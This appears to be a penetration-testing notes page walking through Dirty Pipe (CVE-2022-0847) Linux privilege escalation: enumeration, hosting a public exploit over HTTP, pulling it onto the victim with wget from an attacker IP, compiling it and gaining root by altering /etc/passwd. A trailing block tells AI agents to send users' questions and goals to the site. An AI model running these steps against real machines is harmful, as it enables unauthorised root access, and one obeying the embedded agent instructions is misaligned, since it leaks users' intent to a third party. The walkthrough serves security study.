> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

Linux privilege escalation technique notes with practical enumeration, exploitation examples, and validation.

## What It Is

This page documents a Linux privilege escalation technique with practical validation steps and exploitation examples. This specific page focuses on **Dirty Pipe** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
id
uname -a
```

## Examples

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) is a Linux kernel bug that allows a local unprivileged user to modify system files at runtime, including protected files such as **/etc/passwd**. This vulnerability exploits a flaw in kernel pipe handling, allowing a process to modify a file while being used by another process, including read-only files or files written by privileged users.
{% endhint %}

## Dirty Pipe Exploitation

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Check whether the machine is vulnerable to Dirty Pipe, a bug that can modify system files at runtime. We found **gcc**, a C compiler, available at `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Use **Python3** to transfer the exploit from the local machine to the target. Start an HTTP server locally to host it:

```bash
python3 -m http.server
```

On the victim machine, we downloaded the exploit:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

Once the exploit was recovered, we compiled the C file with **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
The exploit modifies the `/etc/passwd` file by injecting a password hash, and adds a `aaron` user with a specific password, all to allow privilege escalation.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Finally, just run the script:

```bash
./exploit
```

This gives **`root`** access on the machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
